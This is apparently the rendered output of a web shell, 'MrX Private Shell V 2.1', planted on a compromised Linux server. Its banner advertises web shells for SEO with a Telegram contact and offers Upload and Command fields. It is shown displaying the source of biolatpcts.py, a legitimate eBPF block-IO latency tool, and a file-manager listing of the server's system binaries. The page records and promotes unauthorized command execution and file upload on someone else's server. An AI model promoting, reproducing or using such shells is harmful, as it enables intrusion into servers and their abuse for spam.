__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
Upload:
Command:
#! /usr/bin/python3 # # biolatpcts.py Monitor IO latency distribution of a block device. # # $ ./biolatpcts.py /dev/nvme0n1 # nvme0n1 p1 p5 p10 p16 p25 p50 p75 p84 p90 p95 p99 p100 # read 95us 175us 305us 515us 895us 985us 995us 1.5ms 2.5ms 3.5ms 4.5ms 10ms # write 5us 5us 5us 15us 25us 135us 765us 855us 885us 895us 965us 1.5ms # discard 5us 5us 5us 5us 135us 145us 165us 205us 385us 875us 1.5ms 2.5ms # flush 5us 5us 5us 5us 5us 5us 5us 5us 5us 1.5ms 4.5ms 5.5ms # # Copyright (C) 2020 Tejun Heo <tj@kernel.org> # Copyright (C) 2020 Facebook from __future__ import print_function from bcc import BPF from time import sleep from threading import Event import argparse import json import sys import os import signal description = """ Monitor IO latency distribution of a block device """ epilog = """ When interval is infinite, biolatpcts will print out result once the initialization is complete to indicate readiness. After initialized, biolatpcts will output whenever it receives SIGUSR1/2 and before exiting on SIGINT, SIGTERM or SIGHUP. SIGUSR1 starts a new period after reporting. SIGUSR2 doesn't and can be used to monitor progress without affecting accumulation of data points. They can be used to obtain latency distribution between two arbitrary events and monitor progress inbetween. """ parser = argparse.ArgumentParser(description = description, epilog = epilog, formatter_class = argparse.ArgumentDefaultsHelpFormatter) parser.add_argument('dev', metavar='DEV', type=str, help='Target block device (/dev/DEVNAME, DEVNAME or MAJ:MIN)') parser.add_argument('-i', '--interval', type=int, default=3, help='Report interval (0: exit after startup, -1: infinite)') parser.add_argument('-w', '--which', choices=['from-rq-alloc', 'after-rq-alloc', 'on-device'], default='on-device', help='Which latency to measure') parser.add_argument('-p', '--pcts', metavar='PCT,...', type=str, default='1,5,10,16,25,50,75,84,90,95,99,100', help='Percentiles to calculate') parser.add_argument('-j', '--json', action='store_true', help='Output in json') parser.add_argument('--verbose', '-v', action='count', default = 0) bpf_source = """ #include <linux/blk_types.h> #include <linux/blkdev.h> #include <linux/blk-mq.h> #include <linux/time64.h> BPF_PERCPU_ARRAY(rwdf_100ms, u64, 400); BPF_PERCPU_ARRAY(rwdf_1ms, u64, 400); BPF_PERCPU_ARRAY(rwdf_10us, u64, 400); RAW_TRACEPOINT_PROBE(block_rq_complete) { // TP_PROTO(struct request *rq, blk_status_t error, unsigned int nr_bytes) struct request *rq = (void *)ctx->args[0]; unsigned int cmd_flags; u64 dur; size_t base, slot; if (!rq->__START_TIME_FIELD__) return 0; if (!rq->__RQ_DISK__ || rq->__RQ_DISK__->major != __MAJOR__ || rq->__RQ_DISK__->first_minor != __MINOR__) return 0; cmd_flags = rq->cmd_flags; switch (cmd_flags & REQ_OP_MASK) { case REQ_OP_READ: base = 0; break; case REQ_OP_WRITE: base = 100; break; case REQ_OP_DISCARD: base = 200; break; case REQ_OP_FLUSH: base = 300; break; default: return 0; } dur = bpf_ktime_get_ns() - rq->__START_TIME_FIELD__; slot = min_t(size_t, div_u64(dur, 100 * NSEC_PER_MSEC), 99); rwdf_100ms.increment(base + slot); if (slot) return 0; slot = min_t(size_t, div_u64(dur, NSEC_PER_MSEC), 99); rwdf_1ms.increment(base + slot); if (slot) return 0; slot = min_t(size_t, div_u64(dur, 10 * NSEC_PER_USEC), 99); rwdf_10us.increment(base + slot); return 0; } """ args = parser.parse_args() args.pcts = args.pcts.split(',') args.pcts.sort(key=lambda x: float(x)) try: major = int(args.dev.split(':')[0]) minor = int(args.dev.split(':')[1]) except Exception: if '/' in args.dev: stat = os.stat(args.dev) else: stat = os.stat('/dev/' + args.dev) major = os.major(stat.st_rdev) minor = os.minor(stat.st_rdev) if args.which == 'from-rq-alloc': start_time_field = 'alloc_time_ns' elif args.which == 'after-rq-alloc': start_time_field = 'start_time_ns' elif args.which == 'on-device': start_time_field = 'io_start_time_ns' else: print("Invalid latency measurement {}".format(args.which)) exit() bpf_source = bpf_source.replace('__START_TIME_FIELD__', start_time_field) bpf_source = bpf_source.replace('__MAJOR__', str(major)) bpf_source = bpf_source.replace('__MINOR__', str(minor)) if BPF.kernel_struct_has_field(b'request', b'rq_disk') == 1: bpf_source = bpf_source.replace('__RQ_DISK__', 'rq_disk') else: bpf_source = bpf_source.replace('__RQ_DISK__', 'q->disk') bpf = BPF(text=bpf_source) # times are in usecs MSEC = 1000 SEC = 1000 * 1000 cur_rwdf_100ms = bpf["rwdf_100ms"] cur_rwdf_1ms = bpf["rwdf_1ms"] cur_rwdf_10us = bpf["rwdf_10us"] last_rwdf_100ms = [0] * 400 last_rwdf_1ms = [0] * 400 last_rwdf_10us = [0] * 400 rwdf_100ms = [0] * 400 rwdf_1ms = [0] * 400 rwdf_10us = [0] * 400 io_type = ["read", "write", "discard", "flush"] def find_pct(req, total, slots, idx, counted): while idx > 0: idx -= 1 if slots[idx] > 0: counted += slots[idx] if args.verbose > 1: print('idx={} counted={} pct={:.1f} req={}' .format(idx, counted, counted / total, req)) if (counted / total) * 100 >= 100 - req: break return (idx, counted) def calc_lat_pct(req_pcts, total, lat_100ms, lat_1ms, lat_10us): pcts = [0] * len(req_pcts) if total == 0: return pcts data = [(100 * MSEC, lat_100ms), (MSEC, lat_1ms), (10, lat_10us)] data_sel = 0 idx = 100 counted = 0 for pct_idx in reversed(range(len(req_pcts))): req = float(req_pcts[pct_idx]) while True: last_counted = counted (gran, slots) = data[data_sel] (idx, counted) = find_pct(req, total, slots, idx, counted) if args.verbose > 1: print('pct_idx={} req={} gran={} idx={} counted={} total={}' .format(pct_idx, req, gran, idx, counted, total)) if idx > 0 or data_sel == len(data) - 1: break counted = last_counted data_sel += 1 idx = 100 pcts[pct_idx] = gran * idx + gran / 2 return pcts def format_usec(lat): if lat > SEC: return '{:.1f}s'.format(lat / SEC) elif lat > 10 * MSEC: return '{:.0f}ms'.format(lat / MSEC) elif lat > MSEC: return '{:.1f}ms'.format(lat / MSEC) elif lat > 0: return '{:.0f}us'.format(lat) else: return '-' # 0 interval can be used to test whether this script would run successfully. if args.interval == 0: sys.exit(0) # Set up signal handling so that we print the result on USR1/2 and before # exiting on a signal. Combined with infinite interval, this can be used to # obtain overall latency distribution between two events. On USR2 the # accumulated counters are cleared too, which can be used to define # arbitrary intervals. force_update_last_rwdf = False keep_running = True result_req = Event() def sig_handler(sig, frame): global keep_running, force_update_last_rwdf, result_req if sig == signal.SIGUSR1: force_update_last_rwdf = True elif sig != signal.SIGUSR2: keep_running = False result_req.set() for sig in (signal.SIGUSR1, signal.SIGUSR2, signal.SIGINT, signal.SIGTERM, signal.SIGHUP): signal.signal(sig, sig_handler) # If infinite interval, always trigger the first output so that the caller # can tell when initialization is complete. if args.interval < 0: result_req.set(); while keep_running: result_req.wait(args.interval if args.interval > 0 else None) result_req.clear() update_last_rwdf = args.interval > 0 or force_update_last_rwdf force_update_last_rwdf = False rwdf_total = [0] * 4; for i in range(400): v = cur_rwdf_100ms.sum(i).value rwdf_100ms[i] = max(v - last_rwdf_100ms[i], 0) if update_last_rwdf: last_rwdf_100ms[i] = v v = cur_rwdf_1ms.sum(i).value rwdf_1ms[i] = max(v - last_rwdf_1ms[i], 0) if update_last_rwdf: last_rwdf_1ms[i] = v v = cur_rwdf_10us.sum(i).value rwdf_10us[i] = max(v - last_rwdf_10us[i], 0) if update_last_rwdf: last_rwdf_10us[i] = v rwdf_total[int(i / 100)] += rwdf_100ms[i] rwdf_lat = [] for i in range(4): left = i * 100 right = left + 100 rwdf_lat.append( calc_lat_pct(args.pcts, rwdf_total[i], rwdf_100ms[left:right], rwdf_1ms[left:right], rwdf_10us[left:right])) if args.verbose: print('{:7} 100ms {}'.format(io_type[i], rwdf_100ms[left:right])) print('{:7} 1ms {}'.format(io_type[i], rwdf_1ms[left:right])) print('{:7} 10us {}'.format(io_type[i], rwdf_10us[left:right])) if args.json: result = {} for iot in range(4): lats = {} for pi in range(len(args.pcts)): lats[args.pcts[pi]] = rwdf_lat[iot][pi] / SEC result[io_type[iot]] = lats print(json.dumps(result), flush=True) else: print('\n{:<7}'.format(os.path.basename(args.dev)), end='') widths = [] for pct in args.pcts: widths.append(max(len(pct), 5)) print(' {:>5}'.format(pct), end='') print() for iot in range(4): print('{:7}'.format(io_type[iot]), end='') for pi in range(len(rwdf_lat[iot])): print(' {:>{}}'.format(format_usec(rwdf_lat[iot][pi]), widths[pi]), end='') print()
Filemanager
Name | Type | Size | Permission | Actions |
---|---|---|---|---|
ModemManager | File | 2.07 MB | 0755 |
|
a2disconf | File | 15.75 KB | 0755 |
|
a2dismod | File | 15.75 KB | 0755 |
|
a2dissite | File | 15.75 KB | 0755 |
|
a2enconf | File | 15.75 KB | 0755 |
|
a2enmod | File | 15.75 KB | 0755 |
|
a2ensite | File | 15.75 KB | 0755 |
|
a2query | File | 9.6 KB | 0755 |
|
aa-load | File | 38.75 KB | 0755 |
|
aa-remove-unknown | File | 3.15 KB | 0755 |
|
aa-status | File | 39.06 KB | 0755 |
|
aa-teardown | File | 137 B | 0755 |
|
accessdb | File | 14.55 KB | 0755 |
|
acpid | File | 52.66 KB | 0755 |
|
add-shell | File | 1.03 KB | 0755 |
|
addgnupghome | File | 3 KB | 0755 |
|
addgroup | File | 53.9 KB | 0755 |
|
adduser | File | 53.9 KB | 0755 |
|
agetty | File | 59.56 KB | 0755 |
|
apache2 | File | 736.55 KB | 0755 |
|
apache2ctl | File | 7.26 KB | 0755 |
|
apachectl | File | 7.26 KB | 0755 |
|
apparmor_parser | File | 1.55 MB | 0755 |
|
apparmor_status | File | 39.06 KB | 0755 |
|
applygnupgdefaults | File | 2.17 KB | 0755 |
|
argdist-bpfcc | File | 36 KB | 0755 |
|
arp | File | 61.61 KB | 0755 |
|
arpd | File | 26.33 KB | 0755 |
|
arptables | File | 219.16 KB | 0755 |
|
arptables-nft | File | 219.16 KB | 0755 |
|
arptables-nft-restore | File | 219.16 KB | 0755 |
|
arptables-nft-save | File | 219.16 KB | 0755 |
|
arptables-restore | File | 219.16 KB | 0755 |
|
arptables-save | File | 219.16 KB | 0755 |
|
badblocks | File | 34.32 KB | 0755 |
|
bashreadline-bpfcc | File | 2.32 KB | 0755 |
|
bashreadline.bt | File | 698 B | 0755 |
|
bcache-super-show | File | 14.3 KB | 0755 |
|
bindsnoop-bpfcc | File | 15.96 KB | 0755 |
|
biolatency-bpfcc | File | 11.1 KB | 0755 |
|
biolatency-kp.bt | File | 664 B | 0755 |
|
biolatency.bt | File | 681 B | 0755 |
|
biolatpcts-bpfcc | File | 10.01 KB | 0755 |
|
biopattern-bpfcc | File | 3.86 KB | 0755 |
|
biosdecode | File | 27.2 KB | 0755 |
|
biosnoop-bpfcc | File | 10.58 KB | 0755 |
|
biosnoop.bt | File | 1.12 KB | 0755 |
|
biostacks.bt | File | 915 B | 0755 |
|
biotop-bpfcc | File | 9.34 KB | 0755 |
|
bitesize-bpfcc | File | 1.14 KB | 0755 |
|
bitesize.bt | File | 567 B | 0755 |
|
blkdeactivate | File | 15.97 KB | 0755 |
|
blkdiscard | File | 22.38 KB | 0755 |
|
blkid | File | 54.41 KB | 0755 |
|
blkzone | File | 34.38 KB | 0755 |
|
blockdev | File | 34.38 KB | 0755 |
|
bpflist-bpfcc | File | 2.54 KB | 0755 |
|
bpftool | File | 1.58 KB | 0755 |
|
bridge | File | 108.49 KB | 0755 |
|
btrfsdist-bpfcc | File | 6.47 KB | 0755 |
|
btrfsslower-bpfcc | File | 9.75 KB | 0755 |
|
cache_check | File | 1.36 MB | 0755 |
|
cache_dump | File | 1.36 MB | 0755 |
|
cache_metadata_size | File | 1.36 MB | 0755 |
|
cache_repair | File | 1.36 MB | 0755 |
|
cache_restore | File | 1.36 MB | 0755 |
|
cache_writeback | File | 1.36 MB | 0755 |
|
cachestat-bpfcc | File | 6.38 KB | 0755 |
|
cachetop-bpfcc | File | 9.15 KB | 0755 |
|
capable-bpfcc | File | 8.28 KB | 0755 |
|
capable.bt | File | 1.88 KB | 0755 |
|
capsh | File | 57.09 KB | 0755 |
|
cfdisk | File | 94.73 KB | 0755 |
|
cgdisk | File | 166.48 KB | 0755 |
|
chcpu | File | 30.38 KB | 0755 |
|
check_forensic | File | 952 B | 0755 |
|
chgpasswd | File | 58.32 KB | 0755 |
|
chmem | File | 34.38 KB | 0755 |
|
chpasswd | File | 54.43 KB | 0755 |
|
chronyd | File | 299.05 KB | 0755 |
|
chroot | File | 38.51 KB | 0755 |
|
cobjnew-bpfcc | File | 53 B | 0755 |
|
compactsnoop-bpfcc | File | 11.1 KB | 0755 |
|
cpgr | File | 48.45 KB | 0755 |
|
cppw | File | 48.45 KB | 0755 |
|
cpudist-bpfcc | File | 6.85 KB | 0755 |
|
cpuunclaimed-bpfcc | File | 14.59 KB | 0755 |
|
cpuwalk.bt | File | 497 B | 0755 |
|
criticalstat-bpfcc | File | 8.41 KB | 0755 |
|
cron | File | 58.67 KB | 0755 |
|
cryptdisks_start | File | 1.51 KB | 0755 |
|
cryptdisks_stop | File | 844 B | 0755 |
|
cryptsetup | File | 225.9 KB | 0755 |
|
ctrlaltdel | File | 14.38 KB | 0755 |
|
dbslower-bpfcc | File | 7.22 KB | 0755 |
|
dbstat-bpfcc | File | 3.7 KB | 0755 |
|
dcb | File | 80.52 KB | 0755 |
|
dcsnoop-bpfcc | File | 4.03 KB | 0755 |
|
dcsnoop.bt | File | 1.23 KB | 0755 |
|
dcstat-bpfcc | File | 3.77 KB | 0755 |
|
deadlock-bpfcc | File | 20.45 KB | 0755 |
|
debugfs | File | 225.87 KB | 0755 |
|
delgroup | File | 18.53 KB | 0755 |
|
deluser | File | 18.53 KB | 0755 |
|
depmod | File | 170.24 KB | 0755 |
|
devlink | File | 150.86 KB | 0755 |
|
dhcpcd | File | 395.4 KB | 0755 |
|
dirtop-bpfcc | File | 8.37 KB | 0755 |
|
dmeventd | File | 50.38 KB | 0755 |
|
dmidecode | File | 135.25 KB | 0755 |
|
dmsetup | File | 171.05 KB | 0755 |
|
dmstats | File | 171.05 KB | 0755 |
|
dosfsck | File | 78.38 KB | 0755 |
|
dosfslabel | File | 38.38 KB | 0755 |
|
dpkg-preconfigure | File | 4.25 KB | 0755 |
|
dpkg-reconfigure | File | 4.43 KB | 0755 |
|
drsnoop-bpfcc | File | 6.73 KB | 0755 |
|
dumpe2fs | File | 34.31 KB | 0755 |
|
e2freefrag | File | 18.3 KB | 0755 |
|
e2fsck | File | 364.34 KB | 0755 |
|
e2image | File | 42.31 KB | 0755 |
|
e2label | File | 110.56 KB | 0755 |
|
e2mmpstatus | File | 34.31 KB | 0755 |
|
e2scrub | File | 7.12 KB | 0755 |
|
e2scrub_all | File | 5.27 KB | 0755 |
|
e2undo | File | 22.3 KB | 0755 |
|
e4crypt | File | 30.38 KB | 0755 |
|
e4defrag | File | 34.3 KB | 0755 |
|
ebtables | File | 219.16 KB | 0755 |
|
ebtables-nft | File | 219.16 KB | 0755 |
|
ebtables-nft-restore | File | 219.16 KB | 0755 |
|
ebtables-nft-save | File | 219.16 KB | 0755 |
|
ebtables-restore | File | 219.16 KB | 0755 |
|
ebtables-save | File | 219.16 KB | 0755 |
|
ebtables-translate | File | 219.16 KB | 0755 |
|
era_check | File | 1.36 MB | 0755 |
|
era_dump | File | 1.36 MB | 0755 |
|
era_invalidate | File | 1.36 MB | 0755 |
|
era_restore | File | 1.36 MB | 0755 |
|
ethtool | File | 651.68 KB | 0755 |
|
execsnoop-bpfcc | File | 9.82 KB | 0755 |
|
execsnoop.bt | File | 928 B | 0755 |
|
exitsnoop-bpfcc | File | 9.42 KB | 0755 |
|
ext4dist-bpfcc | File | 6.53 KB | 0755 |
|
ext4slower-bpfcc | File | 9.71 KB | 0755 |
|
faillock | File | 22.31 KB | 0755 |
|
fatlabel | File | 38.38 KB | 0755 |
|
fdisk | File | 114.42 KB | 0755 |
|
filefrag | File | 18.32 KB | 0755 |
|
filegone-bpfcc | File | 5.64 KB | 0755 |
|
filelife-bpfcc | File | 6.38 KB | 0755 |
|
fileslower-bpfcc | File | 7.2 KB | 0755 |
|
filetop-bpfcc | File | 6.35 KB | 0755 |
|
findfs | File | 14.38 KB | 0755 |
|
fixparts | File | 58.48 KB | 0755 |
|
fsadm | File | 24 KB | 0755 |
|
fsck | File | 42.42 KB | 0755 |
|
fsck.btrfs | File | 1.16 KB | 0755 |
|
fsck.cramfs | File | 30.44 KB | 0755 |
|
fsck.ext2 | File | 364.34 KB | 0755 |
|
fsck.ext3 | File | 364.34 KB | 0755 |
|
fsck.ext4 | File | 364.34 KB | 0755 |
|
fsck.fat | File | 78.38 KB | 0755 |
|
fsck.minix | File | 54.41 KB | 0755 |
|
fsck.msdos | File | 78.38 KB | 0755 |
|
fsck.vfat | File | 78.38 KB | 0755 |
|
fsck.xfs | File | 2.53 KB | 0755 |
|
fsfreeze | File | 14.38 KB | 0755 |
|
fstab-decode | File | 14.3 KB | 0755 |
|
fstrim | File | 42.38 KB | 0755 |
|
funccount-bpfcc | File | 12.68 KB | 0755 |
|
funcinterval-bpfcc | File | 5.46 KB | 0755 |
|
funclatency-bpfcc | File | 11.28 KB | 0755 |
|
funcslower-bpfcc | File | 10.38 KB | 0755 |
|
gdisk | File | 198.48 KB | 0755 |
|
genl | File | 120.58 KB | 0755 |
|
getcap | File | 14.3 KB | 0755 |
|
gethostlatency-bpfcc | File | 3.82 KB | 0755 |
|
gethostlatency.bt | File | 1.19 KB | 0755 |
|
getpcaps | File | 14.3 KB | 0755 |
|
getty | File | 59.56 KB | 0755 |
|
groupadd | File | 71.13 KB | 0755 |
|
groupdel | File | 62.91 KB | 0755 |
|
groupmems | File | 58.34 KB | 0755 |
|
groupmod | File | 71.04 KB | 0755 |
|
grpck | File | 58.32 KB | 0755 |
|
grpconv | File | 50.16 KB | 0755 |
|
grpunconv | File | 50.16 KB | 0755 |
|
grub-bios-setup | File | 953.33 KB | 0755 |
|
grub-install | File | 1.16 MB | 0755 |
|
grub-macbless | File | 941.2 KB | 0755 |
|
grub-mkconfig | File | 8.63 KB | 0755 |
|
grub-mkdevicemap | File | 70.69 KB | 0755 |
|
grub-probe | File | 949.45 KB | 0755 |
|
grub-reboot | File | 4.73 KB | 0755 |
|
grub-set-default | File | 3.47 KB | 0755 |
|
halt | File | 1.43 MB | 0755 |
|
hardirqs-bpfcc | File | 6.85 KB | 0755 |
|
hdparm | File | 139.43 KB | 0755 |
|
httxt2dbm | File | 14.3 KB | 0755 |
|
iconvconfig | File | 34.47 KB | 0755 |
|
ifconfig | File | 77.17 KB | 0755 |
|
init | File | 98.45 KB | 0755 |
|
inject-bpfcc | File | 16.06 KB | 0755 |
|
insmod | File | 170.24 KB | 0755 |
|
install-sgmlcatalog | File | 4.44 KB | 0755 |
|
installkernel | File | 2.6 KB | 0755 |
|
integritysetup | File | 67.06 KB | 0755 |
|
invoke-rc.d | File | 16.13 KB | 0755 |
|
ip | File | 754.74 KB | 0755 |
|
ip6tables | File | 219.16 KB | 0755 |
|
ip6tables-apply | File | 6.89 KB | 0755 |
|
ip6tables-legacy | File | 92.95 KB | 0755 |
|
ip6tables-legacy-restore | File | 92.95 KB | 0755 |
|
ip6tables-legacy-save | File | 92.95 KB | 0755 |
|
ip6tables-nft | File | 219.16 KB | 0755 |
|
ip6tables-nft-restore | File | 219.16 KB | 0755 |
|
ip6tables-nft-save | File | 219.16 KB | 0755 |
|
ip6tables-restore | File | 219.16 KB | 0755 |
|
ip6tables-restore-translate | File | 219.16 KB | 0755 |
|
ip6tables-save | File | 219.16 KB | 0755 |
|
ip6tables-translate | File | 219.16 KB | 0755 |
|
ipmaddr | File | 18.3 KB | 0755 |
|
iptables | File | 219.16 KB | 0755 |
|
iptables-apply | File | 6.89 KB | 0755 |
|
iptables-legacy | File | 92.95 KB | 0755 |
|
iptables-legacy-restore | File | 92.95 KB | 0755 |
|
iptables-legacy-save | File | 92.95 KB | 0755 |
|
iptables-nft | File | 219.16 KB | 0755 |
|
iptables-nft-restore | File | 219.16 KB | 0755 |
|
iptables-nft-save | File | 219.16 KB | 0755 |
|
iptables-restore | File | 219.16 KB | 0755 |
|
iptables-restore-translate | File | 219.16 KB | 0755 |
|
iptables-save | File | 219.16 KB | 0755 |
|
iptables-translate | File | 219.16 KB | 0755 |
|
iptunnel | File | 18.3 KB | 0755 |
|
irqbalance | File | 58.86 KB | 0755 |
|
irqbalance-ui | File | 38.38 KB | 0755 |
|
iscsi-iname | File | 18.3 KB | 0755 |
|
iscsi_discovery | File | 5.17 KB | 0755 |
|
iscsiadm | File | 370.43 KB | 0755 |
|
iscsid | File | 286.55 KB | 0755 |
|
iscsistart | File | 274.49 KB | 0755 |
|
isosize | File | 14.38 KB | 0755 |
|
iucode-tool | File | 54.34 KB | 0755 |
|
iucode_tool | File | 54.34 KB | 0755 |
|
javacalls-bpfcc | File | 55 B | 0755 |
|
javaflow-bpfcc | File | 54 B | 0755 |
|
javagc-bpfcc | File | 52 B | 0755 |
|
javaobjnew-bpfcc | File | 56 B | 0755 |
|
javastat-bpfcc | File | 54 B | 0755 |
|
javathreads-bpfcc | File | 57 B | 0755 |
|
kbdrate | File | 18.31 KB | 0755 |
|
killall5 | File | 26.23 KB | 0755 |
|
killsnoop-bpfcc | File | 4.45 KB | 0755 |
|
killsnoop.bt | File | 873 B | 0755 |
|
klockstat-bpfcc | File | 13.04 KB | 0755 |
|
kpartx | File | 42.16 KB | 0755 |
|
kvmexit-bpfcc | File | 11.19 KB | 0755 |
|
ldattach | File | 26.38 KB | 0755 |
|
ldconfig | File | 387 B | 0755 |
|
ldconfig.real | File | 1 MB | 0755 |
|
llcstat-bpfcc | File | 4.48 KB | 0755 |
|
loads.bt | File | 1.1 KB | 0755 |
|
locale-gen | File | 4.21 KB | 0755 |
|
logrotate | File | 94.24 KB | 0755 |
|
logsave | File | 14.16 KB | 0755 |
|
losetup | File | 74.52 KB | 0755 |
|
lsmod | File | 170.24 KB | 0755 |
|
luksformat | File | 3.32 KB | 0755 |
|
lvchange | File | 3.01 MB | 0755 |
|
lvconvert | File | 3.01 MB | 0755 |
|
lvcreate | File | 3.01 MB | 0755 |
|
lvdisplay | File | 3.01 MB | 0755 |
|
lvextend | File | 3.01 MB | 0755 |
|
lvm | File | 3.01 MB | 0755 |
|
lvmconfig | File | 3.01 MB | 0755 |
|
lvmdiskscan | File | 3.01 MB | 0755 |
|
lvmdump | File | 10.12 KB | 0755 |
|
lvmpolld | File | 235.97 KB | 0755 |
|
lvmsadc | File | 3.01 MB | 0755 |
|
lvmsar | File | 3.01 MB | 0755 |
|
lvreduce | File | 3.01 MB | 0755 |
|
lvremove | File | 3.01 MB | 0755 |
|
lvrename | File | 3.01 MB | 0755 |
|
lvresize | File | 3.01 MB | 0755 |
|
lvs | File | 3.01 MB | 0755 |
|
lvscan | File | 3.01 MB | 0755 |
|
lxc | File | 372 B | 0755 |
|
lxd | File | 372 B | 0755 |
|
make-bcache | File | 22.38 KB | 0755 |
|
make-ssl-cert | File | 6.65 KB | 0755 |
|
mariadbd | File | 24.92 MB | 0755 |
|
mdadm | File | 622.21 KB | 0755 |
|
mdflush-bpfcc | File | 2.24 KB | 0755 |
|
mdflush.bt | File | 775 B | 0755 |
|
mdmon | File | 258.8 KB | 0755 |
|
memleak-bpfcc | File | 20.8 KB | 0755 |
|
mii-tool | File | 26.73 KB | 0755 |
|
mkdosfs | File | 50.83 KB | 0755 |
|
mke2fs | File | 130.62 KB | 0755 |
|
mkfs | File | 14.38 KB | 0755 |
|
mkfs.bfs | File | 22.38 KB | 0755 |
|
mkfs.btrfs | File | 560.3 KB | 0755 |
|
mkfs.cramfs | File | 34.32 KB | 0755 |
|
mkfs.ext2 | File | 130.62 KB | 0755 |
|
mkfs.ext3 | File | 130.62 KB | 0755 |
|
mkfs.ext4 | File | 130.62 KB | 0755 |
|
mkfs.fat | File | 50.83 KB | 0755 |
|
mkfs.minix | File | 42.39 KB | 0755 |
|
mkfs.msdos | File | 50.83 KB | 0755 |
|
mkfs.ntfs | File | 66.38 KB | 0755 |
|
mkfs.vfat | File | 50.83 KB | 0755 |
|
mkfs.xfs | File | 438.99 KB | 0755 |
|
mkhomedir_helper | File | 22.34 KB | 0755 |
|
mkinitramfs | File | 15.13 KB | 0755 |
|
mklost+found | File | 14.3 KB | 0755 |
|
mkntfs | File | 66.38 KB | 0755 |
|
mkswap | File | 50.38 KB | 0755 |
|
modinfo | File | 170.24 KB | 0755 |
|
modprobe | File | 170.24 KB | 0755 |
|
mount.fuse | File | 18.3 KB | 0755 |
|
mount.fuse3 | File | 18.3 KB | 0755 |
|
mount.lowntfs-3g | File | 118.98 KB | 0755 |
|
mount.ntfs | File | 159.01 KB | 0755 |
|
mount.ntfs-3g | File | 159.01 KB | 0755 |
|
mountsnoop-bpfcc | File | 14.62 KB | 0755 |
|
mpathpersist | File | 31.21 KB | 0755 |
|
multipath | File | 34.3 KB | 0755 |
|
multipathc | File | 18.3 KB | 0755 |
|
multipathd | File | 142.46 KB | 0755 |
|
mysqld | File | 24.92 MB | 0755 |
|
mysqld_qslower-bpfcc | File | 3.05 KB | 0755 |
|
nameif | File | 14.39 KB | 0755 |
|
naptime.bt | File | 1.01 KB | 0755 |
|
needrestart | File | 40.13 KB | 0755 |
|
netplan | File | 802 B | 0755 |
|
netqtop-bpfcc | File | 5.59 KB | 0755 |
|
newusers | File | 86.96 KB | 0755 |
|
nfnl_osf | File | 18.3 KB | 0755 |
|
nfsdist-bpfcc | File | 4.95 KB | 0755 |
|
nfsslower-bpfcc | File | 13.61 KB | 0755 |
|
nft | File | 26.23 KB | 0755 |
|
nginx | File | 1.25 MB | 0755 |
|
nodegc-bpfcc | File | 52 B | 0755 |
|
nodestat-bpfcc | File | 54 B | 0755 |
|
nologin | File | 14.3 KB | 0755 |
|
ntfsclone | File | 50.38 KB | 0755 |
|
ntfscp | File | 30.38 KB | 0755 |
|
ntfslabel | File | 22.38 KB | 0755 |
|
ntfsresize | File | 62.39 KB | 0755 |
|
ntfsundelete | File | 50.38 KB | 0755 |
|
offcputime-bpfcc | File | 13.46 KB | 0755 |
|
offwaketime-bpfcc | File | 15.31 KB | 0755 |
|
on_ac_power | File | 2.18 KB | 0755 |
|
oomkill-bpfcc | File | 2.04 KB | 0755 |
|
oomkill.bt | File | 1.17 KB | 0755 |
|
opensnoop-bpfcc | File | 14.24 KB | 0755 |
|
opensnoop.bt | File | 953 B | 0755 |
|
overlayroot-chroot | File | 2.45 KB | 0755 |
|
ownership | File | 14.45 KB | 0755 |
|
pam-auth-update | File | 20.96 KB | 0755 |
|
pam_extrausers_chkpwd | File | 26.31 KB | 2755 |
|
pam_extrausers_update | File | 34.31 KB | 0755 |
|
pam_getenv | File | 2.82 KB | 0755 |
|
pam_namespace_helper | File | 467 B | 0755 |
|
pam_timestamp_check | File | 14.31 KB | 0755 |
|
paperconfig | File | 4.07 KB | 0755 |
|
parted | File | 94.4 KB | 0755 |
|
partprobe | File | 14.38 KB | 0755 |
|
pdata_tools | File | 1.36 MB | 0755 |
|
perlcalls-bpfcc | File | 55 B | 0755 |
|
perlflow-bpfcc | File | 54 B | 0755 |
|
perlstat-bpfcc | File | 54 B | 0755 |
|
php-fpm7.4 | File | 4.57 MB | 0755 |
|
phpcalls-bpfcc | File | 54 B | 0755 |
|
phpdismod | File | 7.11 KB | 0755 |
|
phpenmod | File | 7.11 KB | 0755 |
|
phpflow-bpfcc | File | 53 B | 0755 |
|
phpquery | File | 6.24 KB | 0755 |
|
phpstat-bpfcc | File | 53 B | 0755 |
|
pidpersec-bpfcc | File | 1.08 KB | 0755 |
|
pidpersec.bt | File | 628 B | 0755 |
|
pivot_root | File | 14.38 KB | 0755 |
|
plipconfig | File | 14.3 KB | 0755 |
|
plymouthd | File | 146.57 KB | 0755 |
|
poweroff | File | 1.43 MB | 0755 |
|
ppchcalls-bpfcc | File | 13.89 KB | 0755 |
|
profile-bpfcc | File | 14.41 KB | 0755 |
|
pvchange | File | 3.01 MB | 0755 |
|
pvck | File | 3.01 MB | 0755 |
|
pvcreate | File | 3.01 MB | 0755 |
|
pvdisplay | File | 3.01 MB | 0755 |
|
pvmove | File | 3.01 MB | 0755 |
|
pvremove | File | 3.01 MB | 0755 |
|
pvresize | File | 3.01 MB | 0755 |
|
pvs | File | 3.01 MB | 0755 |
|
pvscan | File | 3.01 MB | 0755 |
|
pwck | File | 54.29 KB | 0755 |
|
pwconv | File | 46.16 KB | 0755 |
|
pwhistory_helper | File | 22.31 KB | 0755 |
|
pwunconv | File | 46.16 KB | 0755 |
|
pythoncalls-bpfcc | File | 57 B | 0755 |
|
pythonflow-bpfcc | File | 56 B | 0755 |
|
pythongc-bpfcc | File | 54 B | 0755 |
|
pythonstat-bpfcc | File | 56 B | 0755 |
|
rarp | File | 32.33 KB | 0755 |
|
rdmaucma-bpfcc | File | 4.95 KB | 0755 |
|
readahead-bpfcc | File | 6.54 KB | 0755 |
|
readprofile | File | 22.41 KB | 0755 |
|
reboot | File | 1.43 MB | 0755 |
|
remove-shell | File | 1.08 KB | 0755 |
|
reset-trace-bpfcc | File | 3.42 KB | 0755 |
|
resize2fs | File | 70.3 KB | 0755 |
|
resolvconf | File | 158.67 KB | 0755 |
|
